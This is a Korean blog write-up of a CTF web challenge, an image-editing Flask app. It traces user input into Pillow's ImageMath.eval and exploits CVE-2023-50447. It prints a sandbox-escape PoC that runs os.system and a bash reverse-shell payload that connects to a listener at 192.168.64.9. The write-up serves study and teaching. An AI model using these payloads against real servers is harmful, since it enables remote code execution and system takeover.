CTF & Wargame(CTF's)

CCE 예선 - Photo Editing(web) 라이트업

KWAKBUMJUN 2025. 10. 17. 07:05

CCE - Photo Editing(web)

해당 문제는 이미지를 업로드 하면 우리가 원하는 대로 편집할 수 있는 기능이 있다.

일단 views.py의 코드를 보면 /transform 엔드포인트에서는 마지막에

transformed_images = ip.apply_transform(transform_name, filenames, user_uuid, options)

위와 같이 apply_transform 함수를 통해 전달한다.

 

def apply_transform(transform_name, filenames, user_uuid, options=None):
    # transform : 변환 이름
    # filenames : 이미지 파일들의 이름
    # user_uuid : 사용자 식별 id
    # options : 변환에 필요한 추가 설정값들
    
    """Apply a specific transformation to images and return PIL Image objects."""
    images = get_processed_images(filenames, user_uuid)
    # 이미지 불러오기
    if not images:
        return []
        # 이미지가 없다면 빈 리스트 반환
    if options is None:
        options = {}
        # options 없다면 options 초기화

    if transform_name == 'rotate':
        # transform_name이 rotate라면
        angle = options.get('angle', 90)
        # options에서 angle 가져옴. default - 90
        return [img.rotate(angle, expand=True) for img in images]
        # img.rotate로 이미지 회전
    
    elif transform_name == 'composite':
        # transform_name이 composite라면
        if len(images) != 2:
            # 두 개의 이미지를 선택하지 않으면 에러 발생
            raise ValueError("이미지 합성은 반드시 2개의 이미지를 선택해야 합니다.")
            # 에러문
        img1 = images[0]
        img2 = images[1].resize(img1.size)
        # 두번째 이미지를 첫 이미지와 같은 크키로 resize
        return [Image.blend(img1, img2, alpha=0.5)]
        # image.blend 함수를 사용해 이미지를 0.5 투명도로 겹쳐서 합성

    elif transform_name == 'append':
        # transform_name이 append라면
        num_images = len(images)
        # 이미지 개수 저장
        if num_images == 0:
            raise ValueError("이미지를 선택해주세요.")
            # 이미지 개수가 0개면 
        elif num_images > 4:
            raise ValueError("이미지 조합은 최대 4장까지만 지원합니다.")
            # 이미지 개수가 4개 이상이면

        if num_images == 1:
            return images 
        elif num_images <= 3:
            min_width = min(img.width for img in images)
            resized_images = [img.resize((min_width, int(img.height * min_width / img.width))) for img in images]
            
            total_height = sum(img.height for img in resized_images)
            dst = Image.new('RGB', (min_width, total_height))
            
            y_offset = 0
            for img in resized_images:
                dst.paste(img, (0, y_offset))
                y_offset += img.height
            return [dst]
        elif num_images == 4:
            min_size = min(img.width for img in images), min(img.height for img in images)
            resized_images = [img.resize(min_size) for img in images]
            
            dst = Image.new('RGB', (min_size[0] * 2, min_size[1] * 2))
            dst.paste(resized_images[0], (0, 0))
            dst.paste(resized_images[1], (min_size[0], 0))
            dst.paste(resized_images[2], (0, min_size[1]))
            dst.paste(resized_images[3], (min_size[0], min_size[1]))
            return [dst]

    elif transform_name == 'contour':
        return [img.filter(ImageFilter.CONTOUR) for img in images]
        # imageFilter.CONTOUR 필터를 적용시켜서 윤곽선 조정

    elif transform_name == 'solarize':
        # transform_name이 solarize라면
        threshold = options.get('threshold', 128)
        return [ImageOps.solarize(img, threshold=threshold) for img in images]

    elif transform_name == 'brightness':
        factor = options.get('factor', 1.5)
        return [ImageEnhance.Brightness(img).enhance(factor) for img in images]

    elif transform_name == 'grayscale':
        return [img.convert('L') for img in images]
        # 이미지를 L 모드로 변환함

    elif transform_name == 'sepia':
        # 행렬을 사용하여 이미지를 세피아 톤으로 변환
        sepia_matrix = [
            0.393, 0.769, 0.189, 0,
            0.349, 0.686, 0.168, 0,
            0.272, 0.534, 0.131, 0
        ]
        return [img.convert("RGB", sepia_matrix) for img in images]
        # # 행렬을 사용하여 이미지를 세피아 톤으로 변환

    elif transform_name == 'custom_formula':
        exp = options.get('expression')
        # options애서 expression 값을 가져온다.
        if not exp:
            # 만역 exp 값이 없다면
            raise ValueError("Custom formula requires an 'expression'.")
            # 에러 발생
        env = { fname: img for fname, img in zip(filenames, images) }
        # filenames와 images를 짝지어서 {파일명: 이미지 객체} 형태의 환경 변수 딕셔너리를 만든다.
        # ex) {'a': <Image 1>, 'b': <Image 2>}

        try:
            result = ImageMath.eval(exp, env)
            # exp에 있는 문자열 형태의 수식을 env를 실행환경으로 계산한다. 예를 들어서 exp가 a+b라면 두 이미지를
            # 픽셀 단위로 더하는 연산이 수행된다.
            # <취약점> -> Eval Injection 가능
            # 
            return [result]
            # result 반환
        except Exception as e:
            return [None]
    else:
        raise ValueError(f"Unknown transformation: {transform_name}")

그래서 apply_transform 함수를 보니까 코드의 끝자락에 ImageMath.eval(exp, env) 이런식의 eval 함수를 사용한 것을 알 수 있다.

editor 엔드포인트에 가보면 위와 같이 우리가 원하는대로 이미지를 편집할 수 있는 기능이 존재하는데, 이때 제일 아래에 있는 커스텀 수식을 선택하면 ImageMath 수식을 입력하라고 나온다. 그 부분의 로직을 담당하는 코드인 것 같다.

 

elif transform_name == 'custom_formula':
        exp = options.get('expression')
        # options애서 expression 값을 가져온다.
        if not exp:
            # 만역 exp 값이 없다면
            raise ValueError("Custom formula requires an 'expression'.")
            # 에러 발생
        env = { fname: img for fname, img in zip(filenames, images) }
        # filenames와 images를 짝지어서 {파일명: 이미지 객체} 형태의 환경 변수 딕셔너리를 만든다.
        # ex) {'a': <Image 1>, 'b': <Image 2>}

        try:
            result = ImageMath.eval(exp, env)
            # exp에 있는 문자열 형태의 수식을 env를 실행환경으로 계산한다. 예를 들어서 exp가 a+b라면 두 이미지를
            # 픽셀 단위로 더하는 연산이 수행된다.
            # <취약점> -> Eval Injection 가능
            # 
            return [result]
            # result 반환
        except Exception as e:
            return [None]

‘custom_formula’만 따로 보면, exp에는 우리가 입력한 값이 그대로 들어가고, eval 함수를 통해 해당 커맨드를 실행하게 된다. 따라서 나는 바로 리버스쉘 페이로드를 넣어서 리버스쉘에 연결을 시도해봤다.

이 문제의 핵심 기능은 아래 보이는 것과 같다.

위의 사진을 보면 알 수 있듯이, 흑백, 세피아 등 우리가 원하는 스타일대로 이미지를 편집할 수 있는 기능이 있다.

해당 기능에 대한 소스코드를 분석해보자.

 

# 변환된 이미지 미리보기
@board_bp.route('/<user_uuid>/transform/<int:post_id>', methods=['POST'])
@login_required
def transform_image(user_uuid, post_id):
    user, post = get_user_post(user_uuid, post_id)
    check_user(user)
    # check user

    filenames = request.form.getlist('filenames') # 변환할 이미지
    transform_name = request.form.get('transform_name', 'grayscale') # 변환 타입
    expression = request.form.get('expression') # 커스텀 수식

    if not filenames:
        flash("최소 한 장의 이미지를 선택해주세요.", "error")
        return redirect(url_for('board.image_editor', user_uuid=user_uuid, post_id=post_id))

    try:
        options = {}
        if transform_name == 'custom_formula':
            options['expression'] = expression
        
            auto_variables = {}
            for i, fname in enumerate(filenames):
                var_name = chr(ord('a') + i) 
                auto_variables[var_name] = fname
            options['variables'] = auto_variables

        if transform_name == 'brightness':
            try:
                factor = float(request.form.get('brightness_factor', 1.5))
                options['factor'] = factor
            except (ValueError, TypeError):
                flash("유효한 밝기 값을 입력해주세요.", "error")
                return redirect(url_for('board.image_editor', user_uuid=user_uuid, post_id=post_id))

        elif transform_name == 'rotate':
            try:
                angle = int(request.form.get('rotate_angle', 90))
                if angle not in [90, 180, 270]:
                    raise ValueError("유효한 회전 각도를 선택해주세요 (90, 180, 270). ")
                options['angle'] = angle
            except (ValueError, TypeError):
                flash("유효한 회전 각도를 선택해주세요 (90, 180, 270).", "error")
                return redirect(url_for('board.image_editor', user_uuid=user_uuid, post_id=post_id))

        transformed_images = ip.apply_transform(transform_name, filenames, user_uuid, options)
        # apply_transform() 함수를 통해 적용시킴

        if not transformed_images:
            flash("이미지 변환에 실패했습니다.", "error")
            return redirect(url_for('board.image_editor', user_uuid=user_uuid, post_id=post_id))

        saved_transformed_filenames = []
        for img in transformed_images:
            if not isinstance(img, Image.Image):
                saved_transformed_filenames.append('uploads/Error.png')
                continue
            try:
                original_filename_for_ext = filenames[0] if filenames else None
                saved_filename = save_pil_image_for_user(img, user_uuid, original_filename_for_ext)
                saved_transformed_filenames.append(saved_filename)
            except ValueError as e:
                flash(f"변환된 이미지 저장 실패: {str(e)}", "error")
                return redirect(url_for('board.image_editor', user_uuid=user_uuid, post_id=post_id))

        return render_template(
            'board/transform_preview.html',
            user=user,
            post=post,
            transformed_image_filenames=saved_transformed_filenames,
            original_filenames=filenames,
            transform_name=transform_name,
            expression=expression
        )

    except ValueError as e:
        logging.error(f"이미지 처리 중 오류: {e}\\n{traceback.format_exc()}")
        flash(f"오류가 발생했습니다: {str(e)}", "error")
        return redirect(url_for('board.image_editor', user_uuid=user_uuid, post_id=post_id))

filenames, transform_name, expression을 파라미터로 받고 있다.

만약 transform_name이 custom_formula라면 사용자가 입력한 expression을 options 딕셔너리에 삽입한다.

transformed_images = ip.apply_transform(transform_name, filenames, user_uuid, options)

그리고 위의 코드를 통해 파라미터들을 apply_transform 함수에 넘겨준다.

image_processor.py - apply_transform()

def apply_transform(transform_name, filenames, user_uuid, options=None):
    # transform : 변환 이름
    # filenames : 이미지 파일들의 이름
    # user_uuid : 사용자 식별 id
    # options : 변환에 필요한 추가 설정값들
    
    """Apply a specific transformation to images and return PIL Image objects."""
    images = get_processed_images(filenames, user_uuid)
    # 이미지 불러오기
    if not images:
        return []
        # 이미지가 없다면 빈 리스트 반환
    if options is None:
        options = {}
        # options 없다면 options 초기화

    if transform_name == 'rotate':
        # transform_name이 rotate라면
        angle = options.get('angle', 90)
        # options에서 angle 가져옴. default - 90
        return [img.rotate(angle, expand=True) for img in images]
        # img.rotate로 이미지 회전
    
    elif transform_name == 'composite':
        # transform_name이 composite라면
        if len(images) != 2:
            # 두 개의 이미지를 선택하지 않으면 에러 발생
            raise ValueError("이미지 합성은 반드시 2개의 이미지를 선택해야 합니다.")
            # 에러문
        img1 = images[0]
        img2 = images[1].resize(img1.size)
        # 두번째 이미지를 첫 이미지와 같은 크키로 resize
        return [Image.blend(img1, img2, alpha=0.5)]
        # image.blend 함수를 사용해 이미지를 0.5 투명도로 겹쳐서 합성

    elif transform_name == 'append':
        # transform_name이 append라면
        num_images = len(images)
        # 이미지 개수 저장
        if num_images == 0:
            raise ValueError("이미지를 선택해주세요.")
            # 이미지 개수가 0개면 
        elif num_images > 4:
            raise ValueError("이미지 조합은 최대 4장까지만 지원합니다.")
            # 이미지 개수가 4개 이상이면

        if num_images == 1:
            return images 
        elif num_images <= 3:
            min_width = min(img.width for img in images)
            resized_images = [img.resize((min_width, int(img.height * min_width / img.width))) for img in images]
            
            total_height = sum(img.height for img in resized_images)
            dst = Image.new('RGB', (min_width, total_height))
            
            y_offset = 0
            for img in resized_images:
                dst.paste(img, (0, y_offset))
                y_offset += img.height
            return [dst]
        elif num_images == 4:
            min_size = min(img.width for img in images), min(img.height for img in images)
            resized_images = [img.resize(min_size) for img in images]
            
            dst = Image.new('RGB', (min_size[0] * 2, min_size[1] * 2))
            dst.paste(resized_images[0], (0, 0))
            dst.paste(resized_images[1], (min_size[0], 0))
            dst.paste(resized_images[2], (0, min_size[1]))
            dst.paste(resized_images[3], (min_size[0], min_size[1]))
            return [dst]

    elif transform_name == 'contour':
        return [img.filter(ImageFilter.CONTOUR) for img in images]
        # imageFilter.CONTOUR 필터를 적용시켜서 윤곽선 조정

    elif transform_name == 'solarize':
        # transform_name이 solarize라면
        threshold = options.get('threshold', 128)
        return [ImageOps.solarize(img, threshold=threshold) for img in images]

    elif transform_name == 'brightness':
        factor = options.get('factor', 1.5)
        return [ImageEnhance.Brightness(img).enhance(factor) for img in images]

    elif transform_name == 'grayscale':
        return [img.convert('L') for img in images]
        # 이미지를 L 모드로 변환함

    elif transform_name == 'sepia':
        # 행렬을 사용하여 이미지를 세피아 톤으로 변환
        sepia_matrix = [
            0.393, 0.769, 0.189, 0,
            0.349, 0.686, 0.168, 0,
            0.272, 0.534, 0.131, 0
        ]
        return [img.convert("RGB", sepia_matrix) for img in images]
        # # 행렬을 사용하여 이미지를 세피아 톤으로 변환

    elif transform_name == 'custom_formula':
        exp = options.get('expression')
        # options애서 expression 값을 가져온다.
        if not exp:
            # 만역 exp 값이 없다면
            raise ValueError("Custom formula requires an 'expression'.")
            # 에러 발생
        env = { fname: img for fname, img in zip(filenames, images) }
        # filenames와 images를 짝지어서 {파일명: 이미지 객체} 형태의 환경 변수 딕셔너리를 만든다.
        # ex) {'a': <Image 1>, 'b': <Image 2>}

        try:
            result = ImageMath.eval(exp, env)
            # exp에 있는 문자열 형태의 수식을 env를 실행환경으로 계산한다. 예를 들어서 exp가 a+b라면 두 이미지를
            # 픽셀 단위로 더하는 연산이 수행된다.
            # <취약점> -> Eval Injection 가능
            #   
            return [result]
            # result 반환
        except Exception as e:
            return [None]
    else:
        raise ValueError(f"Unknown transformation: {transform_name}")

해당 함수는 사용자가 선택한 이미지 파일에 스타일을 실제로 적용 시키는 기능을 하는 함수이다. 여기서 주목해서 봐야할 코드는 ImageMath.eval(exp, env) 코드이다. eval 함수를 보자마자 rce가 터질 것 같다고 생각이 들어서 한번 해당 함수에 대해 찾아보았더니 아래와 취약점을 확인할 수 있었다.

https://security.snyk.io/vuln/SNYK-PYTHON-PILLOW-6182918

CVE-2023-50447

해당 취약점은 PIL 라이브러리에서 ImageMath.eval() 함수를 사용할 때 eval injection이 발생한다고 한다.

<PoC>

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

PoC를 보면 class, bases, subclasses 라는 이름의 이미지 파일들을 열고 있다. 그리고 exp에는 RCE 페이로드를 삽입한다. 그 후에 environment에는 위에서 열었던 이미지 파일들의 이름을 딕셔너리로 저장한다. 그리고 ImageMath.eval()의 파라미터로 위의 값을 각각 넣어주면 eval injection이 발생하여 임의 코드를 실행할 수 있다고 한다.

그렇다면 우리는 위의 PoC처럼 이미지 파일의 이름을 바꿔서 업로드 해주고 exp에 rce 페이로드를 삽입하면 성공적으로 rce를 일으켜서 flag를 획득할 수 있을 것이다.

위의 image_processor.py 파일을 보면 utils.py에서 get_processed_images() 함수를 불러와서 사용하고 있다. 따라서 해당 함수를 확인해보면

def get_user_upload_folder(user_uuid):
    """사용자별 업로드 폴더 경로 반환"""
    base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
    user_folder = os.path.join(base_dir, 'static', 'uploads', 'board', user_uuid)
    os.makedirs(user_folder, exist_ok=True)
    return user_folder

def get_processed_images(filenames, user_uuid):
    upload_folder = get_user_upload_folder(user_uuid)
    images = []
    for fname in filenames:
        file_path = os.path.join(upload_folder, fname)
        try:
            img = Image.open(file_path).convert('RGB')
            #
            images.append(img)
        except IOError as e:
            logging.error(f"Error opening image file {file_path}: {e}")
            continue

    if not images:
        return []

    return images

위와 같이 구성되어 있다. 따라서 filename에 대한 검사는 전혀 진행하고 있지 않다.

  • view.py를 보면 /edit 엔드포인트에서는 확장자에 대한 검사는 진행하고 있다.

따라서 위의 PoC에서 봤던 것처럼 각 파일들의 이름을 우리가 원하는대로 지정해줄 수 있을 것이다.

 

익스플로잇

# PoC 페이로드
().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')

# (reverse shell)
().__class__.__bases__[0].__subclasses__()[104].load_module('os').system("bash -c 'bash -i >& /dev/tcp/192.168.64.9/1234 0>&1'")

따라서 exp에 위의 리버스 쉘 페이로드를 넣고 전송하면

메모

CVE-2023-50447 PoC만 알면 풀 수 있는 문제임.

 

리버스 쉘을 연결할때 자꾸 연결이 안돼서 문제가 있었다.

().__class__.__bases__[0].__subclasses__()[104].load_module('os').system("bash -c 'bash -i >& /dev/tcp/192.168.64.9/1234 0>&1'")

RCE(reverse shell) 트리거 할 땐 위의 페이로드를 사용해야겠음

 

'CTF & Wargame(CTF's)' 카테고리의 다른 글

HITCON - IMGC0NV(다시)  (0) 2025.10.17
SunshineCTF writeup  (0) 2025.10.17
WatCTF writeup(web)  (0) 2025.09.11
제 31회 해킹캠프 CTF write up  (0) 2025.09.10
Full Weak Engineer CTF 2025 Writeup(web)  (0) 2025.09.10